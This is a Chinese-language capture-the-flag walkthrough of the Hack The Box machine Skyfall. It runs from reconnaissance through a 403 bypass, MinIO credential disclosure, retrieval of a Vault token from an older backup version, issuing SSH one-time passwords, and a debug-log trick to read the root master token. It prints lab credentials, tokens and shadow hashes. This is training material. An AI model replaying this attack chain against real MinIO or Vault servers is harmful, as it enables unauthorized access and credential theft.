基本信息

端口扫描

只有22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV 10.10.11.254
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 13:07 CST
Nmap scan report for 10.10.11.254
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.96 seconds

80

云存储服务相关的:

demo

demo那里链接到 demo.skyfall.htb,添加hosts后访问:

1
10.10.11.254 skyfall.htb demo.skyfall.htb

demo系统,提供guest访问:

Demo

简单测试,URL fetch那里是输入url获取文件,可以看到使用很老版本python(没什么用):

1
2
3
4
5
6
7
8
$ rlwrap nc -nlvp 4445
Connection from 10.10.11.254:34964
GET / HTTP/1.1
Host: 10.10.16.3:4445
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

files那里就是下载文件

minio metrics直接访问是403:

403 bypass

这里主要就是绕过的403

例如0x09绕过:

响应中得到另一个子域名:

1
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

prd23-s3-backend

添加hosts后直接访问是minio cluster信息,没什么用

minio

然后这个minio相关漏洞:

直接post请求verify接口得到SECRET_KEY:

1
2
"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww"
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0"

minio

得到相关secret后就可以去查看minio中有什么东西了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
brew install minio/stable/mc

mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
mc admin info skyfall

mc ls skyfall
mc ls skyfall/askyy/
mc cp skyfall/askyy/home_backup.tar.gz .
tar -xvzf home_backup.tar.gz
# 没什么东西

# 看其他版本,有三个版本,cp只能下载最新的
mc ls -versions skyfall/askyy/
# 如果undo两次,可以得到ssh密钥,但有密码破解不出来
# 只undo一次,得到有token的版本
mc undo skyfall/askyy/home_backup.tar.gz
# 然后再次下载
mc cp skyfall/askyy/home_backup.tar.gz .
tar -xvzf home_backup.tar.gz
# .bashrc中得到valut token
cat .bashrc

export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

vault

就是Hashicorp的Vault ,之前的Craft里用过这个:

所以使用得到的信息和vault交互:

1
2
3
4
5
6
7
8
9
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
# 还是要参数里指定address
# 查看roles
./vault list -address="http://prd23-vault-internal.skyfall.htb" ssh/roles
# 可以看到otp
# 所以使用otp,用户名就是minio里看到的
./vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/dev_otp_key_role ip="10.10.11.254" username="askyy"
# 得到的key就是ssh otp

user flag

通过vault得到ssh otp,连接得到user flag

1
ssh askyy@10.10.11.254

提权信息

还是vault:

添加-v测试运行可以看到提示Master token在配置文件中

所以应该是要某种方式得到这个token后和user部分一样的方式生成otp

注意测试运行debug会生成一个debug.log文件,我们没有读权限:

那如果我们先创建一个debug.log文件然后再测试运行呢,我们会发现日志是追加写入,我们有读权限,日志中得到master token:

1
Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG

预期方式

上面debug.log文件权限是非预期,预期方式是使用 libfuse 在我们控制的目录上创建虚拟挂载,使用 memfs 记录对该目录的写入,这样我们就能读取 root 写入的内容了

提权 & root flag

然后就是和user部分同样的方法:

1
2
3
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

./vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

shadow

1
2
root:$y$j9T$4uH0lUFbgz7XKRP4f/FgP.$gEGN1NQvQhD2aRx452dXMDPZm67IbrFtfzxH.6smSl7:19669:0:99999:7:::
askyy:$y$j9T$2AbGppWMps3JvtLZF2M0z/$nXpvYtHOjqCBu9NN3Y24c/Yu89tZxhF4gwreW8VSLc8:19669:0:99999:7:::

参考资料